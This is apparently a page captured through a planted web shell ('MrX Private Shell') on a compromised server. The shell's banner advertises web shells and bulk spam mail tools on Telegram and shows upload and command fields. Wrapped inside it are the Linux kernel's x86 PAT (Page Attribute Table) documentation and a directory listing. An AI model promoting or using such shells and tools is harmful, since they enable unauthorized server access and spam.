__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.146: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>13. PAT (Page Attribute Table) &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="14. Hardware-Feedback Interface for scheduling on Intel Hardware" href="intel-hfi.html" />
    <link rel="prev" title="12. MTRR (Memory Type Range Register) control" href="mtrr.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="../index.html">CPU architectures</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../arc/index.html">ARC architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm/index.html">ARM Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../arm64/index.html">ARM64 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../loongarch/index.html">LoongArch Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../m68k/index.html">m68k Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../mips/index.html">MIPS-specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../nios2/index.html">Nios II Specific Documentation</a></li>
<li class="toctree-l2"><a class="reference internal" href="../openrisc/index.html">OpenRISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../parisc/index.html">PA-RISC Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../powerpc/index.html">powerpc</a></li>
<li class="toctree-l2"><a class="reference internal" href="../riscv/index.html">RISC-V architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../s390/index.html">s390 Architecture</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sh/index.html">SuperH Interfaces Guide</a></li>
<li class="toctree-l2"><a class="reference internal" href="../sparc/index.html">Sparc Architecture</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="index.html">x86-specific Documentation</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="boot.html">1. The Linux/x86 Boot Protocol</a></li>
<li class="toctree-l3"><a class="reference internal" href="booting-dt.html">2. DeviceTree Booting</a></li>
<li class="toctree-l3"><a class="reference internal" href="cpuinfo.html">3. x86 Feature Flags</a></li>
<li class="toctree-l3"><a class="reference internal" href="topology.html">4. x86 Topology</a></li>
<li class="toctree-l3"><a class="reference internal" href="exception-tables.html">5. Kernel level exception handling</a></li>
<li class="toctree-l3"><a class="reference internal" href="kernel-stacks.html">6. Kernel Stacks</a></li>
<li class="toctree-l3"><a class="reference internal" href="entry_64.html">7. Kernel Entries</a></li>
<li class="toctree-l3"><a class="reference internal" href="earlyprintk.html">8. Early Printk</a></li>
<li class="toctree-l3"><a class="reference internal" href="orc-unwinder.html">9. ORC unwinder</a></li>
<li class="toctree-l3"><a class="reference internal" href="zero-page.html">10. Zero Page</a></li>
<li class="toctree-l3"><a class="reference internal" href="tlb.html">11. The TLB</a></li>
<li class="toctree-l3"><a class="reference internal" href="mtrr.html">12. MTRR (Memory Type Range Register) control</a></li>
<li class="toctree-l3 current"><a class="current reference internal" href="#">13. PAT (Page Attribute Table)</a></li>
<li class="toctree-l3"><a class="reference internal" href="intel-hfi.html">14. Hardware-Feedback Interface for scheduling on Intel Hardware</a></li>
<li class="toctree-l3"><a class="reference internal" href="shstk.html">15. Control-flow Enforcement Technology (CET) Shadow Stack</a></li>
<li class="toctree-l3"><a class="reference internal" href="iommu.html">16. x86 IOMMU Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="intel_txt.html">17. Intel(R) TXT Overview</a></li>
<li class="toctree-l3"><a class="reference internal" href="amd-debugging.html">18. Debugging AMD Zen systems</a></li>
<li class="toctree-l3"><a class="reference internal" href="amd-memory-encryption.html">19. AMD Memory Encryption</a></li>
<li class="toctree-l3"><a class="reference internal" href="amd_hsmp.html">20. AMD HSMP interface</a></li>
<li class="toctree-l3"><a class="reference internal" href="amd-hfi.html">21. Hardware Feedback Interface For Hetero Core Scheduling On AMD Platform</a></li>
<li class="toctree-l3"><a class="reference internal" href="tdx.html">22. Intel Trust Domain Extensions (TDX)</a></li>
<li class="toctree-l3"><a class="reference internal" href="pti.html">23. Page Table Isolation (PTI)</a></li>
<li class="toctree-l3"><a class="reference internal" href="mds.html">24. Microarchitectural Data Sampling (MDS) mitigation</a></li>
<li class="toctree-l3"><a class="reference internal" href="microcode.html">25. The Linux Microcode Loader</a></li>
<li class="toctree-l3"><a class="reference internal" href="tsx_async_abort.html">26. TSX Async Abort (TAA) mitigation</a></li>
<li class="toctree-l3"><a class="reference internal" href="buslock.html">27. Bus lock detection and handling</a></li>
<li class="toctree-l3"><a class="reference internal" href="usb-legacy-support.html">28. USB Legacy support</a></li>
<li class="toctree-l3"><a class="reference internal" href="i386/index.html">29. i386 Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="x86_64/index.html">30. x86_64 Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="ifs.html">31. In-Field Scan</a></li>
<li class="toctree-l3"><a class="reference internal" href="sva.html">32. Shared Virtual Addressing (SVA) with ENQCMD</a></li>
<li class="toctree-l3"><a class="reference internal" href="sgx.html">33. Software Guard eXtensions (SGX)</a></li>
<li class="toctree-l3"><a class="reference internal" href="features.html">34. Feature status on x86 architecture</a></li>
<li class="toctree-l3"><a class="reference internal" href="elf_auxvec.html">35. x86-specific ELF Auxiliary Vectors</a></li>
<li class="toctree-l3"><a class="reference internal" href="xstate.html">36. Using XSTATE features in user space applications</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../xtensa/index.html">Xtensa Architecture</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/arch/x86/pat.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="pat-page-attribute-table">
<h1><span class="section-number">13. </span>PAT (Page Attribute Table)<a class="headerlink" href="#pat-page-attribute-table" title="Link to this heading">¶</a></h1>
<p>x86 Page Attribute Table (PAT) allows for setting the memory attribute at the
page level granularity. PAT is complementary to the MTRR settings which allows
for setting of memory types over physical address ranges. However, PAT is
more flexible than MTRR due to its capability to set attributes at page level
and also due to the fact that there are no hardware limitations on number of
such attribute settings allowed. Added flexibility comes with guidelines for
not having memory type aliasing for the same physical memory with multiple
virtual addresses.</p>
<p>PAT allows for different types of memory attributes. The most commonly used
ones that will be supported at this time are:</p>
<table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>WB</p></td>
<td><p>Write-back</p></td>
</tr>
<tr class="row-even"><td><p>UC</p></td>
<td><p>Uncached</p></td>
</tr>
<tr class="row-odd"><td><p>WC</p></td>
<td><p>Write-combined</p></td>
</tr>
<tr class="row-even"><td><p>WT</p></td>
<td><p>Write-through</p></td>
</tr>
<tr class="row-odd"><td><p>UC-</p></td>
<td><p>Uncached Minus</p></td>
</tr>
</tbody>
</table>
<section id="pat-apis">
<h2><span class="section-number">13.1. </span>PAT APIs<a class="headerlink" href="#pat-apis" title="Link to this heading">¶</a></h2>
<p>There are many different APIs in the kernel that allows setting of memory
attributes at the page level. In order to avoid aliasing, these interfaces
should be used thoughtfully. Below is a table of interfaces available,
their intended usage and their memory attribute relationships. Internally,
these APIs use a <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">reserve_memtype()</span></code>/<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">free_memtype()</span></code> interface on the physical
address range to avoid any aliasing.</p>
<table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>API</p></td>
<td><p>RAM</p></td>
<td><p>ACPI,...</p></td>
<td><p>Reserved/Holes</p></td>
</tr>
<tr class="row-even"><td><p>ioremap</p></td>
<td><p>--</p></td>
<td><p>UC-</p></td>
<td><p>UC-</p></td>
</tr>
<tr class="row-odd"><td><p>ioremap_cache</p></td>
<td><p>--</p></td>
<td><p>WB</p></td>
<td><p>WB</p></td>
</tr>
<tr class="row-even"><td><p>ioremap_uc</p></td>
<td><p>--</p></td>
<td><p>UC</p></td>
<td><p>UC</p></td>
</tr>
<tr class="row-odd"><td><p>ioremap_wc</p></td>
<td><p>--</p></td>
<td><p>--</p></td>
<td><p>WC</p></td>
</tr>
<tr class="row-even"><td><p>ioremap_wt</p></td>
<td><p>--</p></td>
<td><p>--</p></td>
<td><p>WT</p></td>
</tr>
<tr class="row-odd"><td><p>set_memory_uc,
set_memory_wb</p></td>
<td><p>UC-</p></td>
<td><p>--</p></td>
<td><p>--</p></td>
</tr>
<tr class="row-even"><td><p>set_memory_wc,
set_memory_wb</p></td>
<td><p>WC</p></td>
<td><p>--</p></td>
<td><p>--</p></td>
</tr>
<tr class="row-odd"><td><p>set_memory_wt,
set_memory_wb</p></td>
<td><p>WT</p></td>
<td><p>--</p></td>
<td><p>--</p></td>
</tr>
<tr class="row-even"><td><p>pci sysfs resource</p></td>
<td><p>--</p></td>
<td><p>--</p></td>
<td><p>UC-</p></td>
</tr>
<tr class="row-odd"><td><p>pci sysfs resource_wc
is IORESOURCE_PREFETCH</p></td>
<td><p>--</p></td>
<td><p>--</p></td>
<td><p>WC</p></td>
</tr>
<tr class="row-even"><td><p>pci proc
!PCIIOC_WRITE_COMBINE</p></td>
<td><p>--</p></td>
<td><p>--</p></td>
<td><p>UC-</p></td>
</tr>
<tr class="row-odd"><td><p>pci proc
PCIIOC_WRITE_COMBINE</p></td>
<td><p>--</p></td>
<td><p>--</p></td>
<td><p>WC</p></td>
</tr>
<tr class="row-even"><td><p>/dev/mem
read-write</p></td>
<td><p>--</p></td>
<td><p>WB/WC/UC-</p></td>
<td><p>WB/WC/UC-</p></td>
</tr>
<tr class="row-odd"><td><p>/dev/mem
mmap SYNC flag</p></td>
<td><p>--</p></td>
<td><p>UC-</p></td>
<td><p>UC-</p></td>
</tr>
<tr class="row-even"><td><p>/dev/mem
mmap !SYNC flag
and
any alias to this area</p></td>
<td><p>--</p></td>
<td><blockquote>
<div><p>WB/WC/UC-</p>
</div></blockquote>
<p>(from existing
alias)</p>
</td>
<td><p>WB/WC/UC-</p>
<p>(from existing
alias)</p>
</td>
</tr>
<tr class="row-odd"><td><p>/dev/mem
mmap !SYNC flag
no alias to this area
and
MTRR says WB</p></td>
<td><p>--</p></td>
<td><p>WB</p></td>
<td><p>WB</p></td>
</tr>
<tr class="row-even"><td><p>/dev/mem
mmap !SYNC flag
no alias to this area
and
MTRR says !WB</p></td>
<td><p>--</p></td>
<td><p>--</p></td>
<td><p>UC-</p></td>
</tr>
</tbody>
</table>
</section>
<section id="advanced-apis-for-drivers">
<h2><span class="section-number">13.2. </span>Advanced APIs for drivers<a class="headerlink" href="#advanced-apis-for-drivers" title="Link to this heading">¶</a></h2>
<p>A. Exporting pages to users with remap_pfn_range, io_remap_pfn_range,
vmf_insert_pfn.</p>
<p>Drivers wanting to export some pages to userspace do it by using mmap
interface and a combination of:</p>
<blockquote>
<div><ol class="arabic simple">
<li><p><code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">pgprot_noncached()</span></code></p></li>
<li><p><code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">io_remap_pfn_range()</span></code> or <a class="reference internal" href="../../core-api/mm-api.html#c.remap_pfn_range" title="remap_pfn_range"><code class="xref c c-func docutils literal notranslate"><span class="pre">remap_pfn_range()</span></code></a> or <a class="reference internal" href="../../core-api/mm-api.html#c.vmf_insert_pfn" title="vmf_insert_pfn"><code class="xref c c-func docutils literal notranslate"><span class="pre">vmf_insert_pfn()</span></code></a></p></li>
</ol>
</div></blockquote>
<p>With PAT support, a new API pgprot_writecombine is being added. So, drivers can
continue to use the above sequence, with either <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">pgprot_noncached()</span></code> or
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">pgprot_writecombine()</span></code> in step 1, followed by step 2.</p>
<p>In addition, step 2 internally tracks the region as UC or WC in memtype
list in order to ensure no conflicting mapping.</p>
<p>Note that this set of APIs only works with IO (non RAM) regions. If driver
wants to export a RAM region, it has to do <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">set_memory_uc()</span></code> or <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">set_memory_wc()</span></code>
as step 0 above and also track the usage of those pages and use <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">set_memory_wb()</span></code>
before the page is freed to free pool.</p>
</section>
<section id="mtrr-effects-on-pat-non-pat-systems">
<h2><span class="section-number">13.3. </span>MTRR effects on PAT / non-PAT systems<a class="headerlink" href="#mtrr-effects-on-pat-non-pat-systems" title="Link to this heading">¶</a></h2>
<p>The following table provides the effects of using write-combining MTRRs when
using ioremap*() calls on x86 for both non-PAT and PAT systems. Ideally
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">mtrr_add()</span></code> usage will be phased out in favor of <a class="reference internal" href="../../core-api/kernel-api.html#c.arch_phys_wc_add" title="arch_phys_wc_add"><code class="xref c c-func docutils literal notranslate"><span class="pre">arch_phys_wc_add()</span></code></a> which will
be a no-op on PAT enabled systems. The region over which a <a class="reference internal" href="../../core-api/kernel-api.html#c.arch_phys_wc_add" title="arch_phys_wc_add"><code class="xref c c-func docutils literal notranslate"><span class="pre">arch_phys_wc_add()</span></code></a>
is made, should already have been ioremapped with WC attributes or PAT entries,
this can be done by using <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">ioremap_wc()</span></code> / <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">set_memory_wc()</span></code>.  Devices which
combine areas of IO memory desired to remain uncacheable with areas where
write-combining is desirable should consider use of <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">ioremap_uc()</span></code> followed by
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">set_memory_wc()</span></code> to white-list effective write-combined areas.  Such use is
nevertheless discouraged as the effective memory type is considered
implementation defined, yet this strategy can be used as last resort on devices
with size-constrained regions where otherwise MTRR write-combining would
otherwise not be effective.</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>====  =======  ===  =========================  =====================
MTRR  Non-PAT  PAT  Linux ioremap value        Effective memory type
====  =======  ===  =========================  =====================
      PAT                                        Non-PAT |  PAT
      |PCD                                               |
      ||PWT                                              |
      |||                                                |
WC    000      WB   _PAGE_CACHE_MODE_WB             WC   |   WC
WC    001      WC   _PAGE_CACHE_MODE_WC             WC*  |   WC
WC    010      UC-  _PAGE_CACHE_MODE_UC_MINUS       WC*  |   UC
WC    011      UC   _PAGE_CACHE_MODE_UC             UC   |   UC
====  =======  ===  =========================  =====================

(*) denotes implementation defined and is discouraged
</pre></div>
</div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>-- in the above table mean “Not suggested usage for the API”. Some
of the --‘s are strictly enforced by the kernel. Some others are not really
enforced today, but may be enforced in future.</p>
</div>
<p>For ioremap and pci access through /sys or /proc - The actual type returned
can be more restrictive, in case of any existing aliasing for that address.
For example: If there is an existing uncached mapping, a new ioremap_wc can
return uncached mapping in place of write-combine requested.</p>
<p>set_memory_[uc|wc|wt] and set_memory_wb should be used in pairs, where driver
will first make a region uc, wc or wt and switch it back to wb after use.</p>
<p>Over time writes to /proc/mtrr will be deprecated in favor of using PAT based
interfaces. Users writing to /proc/mtrr are suggested to use above interfaces.</p>
<p>Drivers should use ioremap_[uc|wc] to access PCI BARs with [uc|wc] access
types.</p>
<p>Drivers should use set_memory_[uc|wc|wt] to set access type for RAM ranges.</p>
</section>
<section id="pat-debugging">
<h2><span class="section-number">13.4. </span>PAT debugging<a class="headerlink" href="#pat-debugging" title="Link to this heading">¶</a></h2>
<p>With CONFIG_DEBUG_FS enabled, PAT memtype list can be examined by:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span># mount -t debugfs debugfs /sys/kernel/debug
# cat /sys/kernel/debug/x86/pat_memtype_list
PAT memtype list:
uncached-minus @ 0x7fadf000-0x7fae0000
uncached-minus @ 0x7fb19000-0x7fb1a000
uncached-minus @ 0x7fb1a000-0x7fb1b000
uncached-minus @ 0x7fb1b000-0x7fb1c000
uncached-minus @ 0x7fb1c000-0x7fb1d000
uncached-minus @ 0x7fb1d000-0x7fb1e000
uncached-minus @ 0x7fb1e000-0x7fb25000
uncached-minus @ 0x7fb25000-0x7fb26000
uncached-minus @ 0x7fb26000-0x7fb27000
uncached-minus @ 0x7fb27000-0x7fb28000
uncached-minus @ 0x7fb28000-0x7fb2e000
uncached-minus @ 0x7fb2e000-0x7fb2f000
uncached-minus @ 0x7fb2f000-0x7fb30000
uncached-minus @ 0x7fb31000-0x7fb32000
uncached-minus @ 0x80000000-0x90000000
</pre></div>
</div>
<p>This list shows physical address ranges and various PAT settings used to
access those physical address ranges.</p>
<p>Another, more verbose way of getting PAT related debug messages is with
“debugpat” boot parameter. With this parameter, various debug messages are
printed to dmesg log.</p>
</section>
<section id="pat-initialization">
<h2><span class="section-number">13.5. </span>PAT Initialization<a class="headerlink" href="#pat-initialization" title="Link to this heading">¶</a></h2>
<p>The following table describes how PAT is initialized under various
configurations. The PAT MSR must be updated by Linux in order to support WC
and WT attributes. Otherwise, the PAT MSR has the value programmed in it
by the firmware. Note, Xen enables WC attribute in the PAT MSR for guests.</p>
<blockquote>
<div><table class="docutils align-default">
<thead>
<tr class="row-odd"><th class="head"><p>MTRR</p></th>
<th class="head"><p>PAT</p></th>
<th class="head"><p>Call Sequence</p></th>
<th class="head"><p>PAT State</p></th>
<th class="head"><p>PAT MSR</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>E</p></td>
<td><p>E</p></td>
<td><p>MTRR -&gt; PAT init</p></td>
<td><p>Enabled</p></td>
<td><p>OS</p></td>
</tr>
<tr class="row-odd"><td><p>E</p></td>
<td><p>D</p></td>
<td><p>MTRR -&gt; PAT init</p></td>
<td><p>Disabled</p></td>
<td><ul class="simple">
<li></li>
</ul>
</td>
</tr>
<tr class="row-even"><td><p>D</p></td>
<td><p>E</p></td>
<td><p>MTRR -&gt; PAT disable</p></td>
<td><p>Disabled</p></td>
<td><p>BIOS</p></td>
</tr>
<tr class="row-odd"><td><p>D</p></td>
<td><p>D</p></td>
<td><p>MTRR -&gt; PAT disable</p></td>
<td><p>Disabled</p></td>
<td><ul class="simple">
<li></li>
</ul>
</td>
</tr>
<tr class="row-even"><td><ul class="simple">
<li></li>
</ul>
</td>
<td><p>np/E</p></td>
<td><p>PAT  -&gt; PAT disable</p></td>
<td><p>Disabled</p></td>
<td><p>BIOS</p></td>
</tr>
<tr class="row-odd"><td><ul class="simple">
<li></li>
</ul>
</td>
<td><p>np/D</p></td>
<td><p>PAT  -&gt; PAT disable</p></td>
<td><p>Disabled</p></td>
<td><ul class="simple">
<li></li>
</ul>
</td>
</tr>
<tr class="row-even"><td><p>E</p></td>
<td><p>!P/E</p></td>
<td><p>MTRR -&gt; PAT init</p></td>
<td><p>Disabled</p></td>
<td><p>BIOS</p></td>
</tr>
<tr class="row-odd"><td><p>D</p></td>
<td><p>!P/E</p></td>
<td><p>MTRR -&gt; PAT disable</p></td>
<td><p>Disabled</p></td>
<td><p>BIOS</p></td>
</tr>
<tr class="row-even"><td><p>!M</p></td>
<td><p>!P/E</p></td>
<td><p>MTRR stub -&gt; PAT disable</p></td>
<td><p>Disabled</p></td>
<td><p>BIOS</p></td>
</tr>
</tbody>
</table>
<blockquote>
<div><p>Legend</p>
</div></blockquote>
<table class="docutils align-default">
<tbody>
<tr class="row-odd"><td><p>E</p></td>
<td><p>Feature enabled in CPU</p></td>
</tr>
<tr class="row-even"><td><p>D</p></td>
<td><p>Feature disabled/unsupported in CPU</p></td>
</tr>
<tr class="row-odd"><td><p>np</p></td>
<td><p>“nopat” boot option specified</p></td>
</tr>
<tr class="row-even"><td><p>!P</p></td>
<td><p>CONFIG_X86_PAT option unset</p></td>
</tr>
<tr class="row-odd"><td><p>!M</p></td>
<td><p>CONFIG_MTRR option unset</p></td>
</tr>
<tr class="row-even"><td><p>Enabled</p></td>
<td><p>PAT state set to enabled</p></td>
</tr>
<tr class="row-odd"><td><p>Disabled</p></td>
<td><p>PAT state set to disabled</p></td>
</tr>
<tr class="row-even"><td><p>OS</p></td>
<td><p>PAT initializes PAT MSR with OS setting</p></td>
</tr>
<tr class="row-odd"><td><p>BIOS</p></td>
<td><p>PAT keeps PAT MSR with BIOS setting</p></td>
</tr>
</tbody>
</table>
</div></blockquote>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/arch/x86/pat.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
i386 Folder 0755
x86_64 Folder 0755
amd-debugging.html File 37.71 KB 0644
amd-hfi.html File 23.59 KB 0644
amd-memory-encryption.html File 26.71 KB 0644
amd_hsmp.html File 22.25 KB 0644
boot.html File 90.24 KB 0644
booting-dt.html File 13.53 KB 0644
buslock.html File 19.47 KB 0644
cpuinfo.html File 25.13 KB 0644
earlyprintk.html File 20.49 KB 0644
elf_auxvec.html File 14.44 KB 0644
entry_64.html File 17.44 KB 0644
exception-tables.html File 32.18 KB 0644
features.html File 21.74 KB 0644
ifs.html File 23.92 KB 0644
index.html File 37.18 KB 0644
intel-hfi.html File 17.6 KB 0644
intel_txt.html File 24.6 KB 0644
iommu.html File 20.98 KB 0644
kernel-stacks.html File 20.27 KB 0644
mds.html File 23.86 KB 0644
microcode.html File 23.17 KB 0644
mtrr.html File 27.58 KB 0644
orc-unwinder.html File 23.04 KB 0644
pat.html File 27.75 KB 0644
pti.html File 24.03 KB 0644
sgx.html File 52.06 KB 0644
shstk.html File 22.05 KB 0644
sva.html File 28.77 KB 0644
tdx.html File 37.07 KB 0644
tlb.html File 17.19 KB 0644
topology.html File 32.47 KB 0644
tsx_async_abort.html File 21.14 KB 0644
usb-legacy-support.html File 14.32 KB 0644
xstate.html File 20.64 KB 0644
zero-page.html File 18.08 KB 0644
Filemanager